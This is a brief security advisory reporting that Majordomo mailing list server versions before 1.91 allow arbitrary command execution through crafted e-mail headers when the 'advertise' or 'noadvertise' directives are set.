Majordomo is a perl-based Internet e-mail list server. Versions prior to 1.91 are vulnerable to an attack whereby specially crafted e-mail headers are incorrectly processed, yielding the ability to execute arbitrary commands with the privileges of Majordomo. This is possible only when "advertise" or "noadvertise" directives are specified in the configuration files.
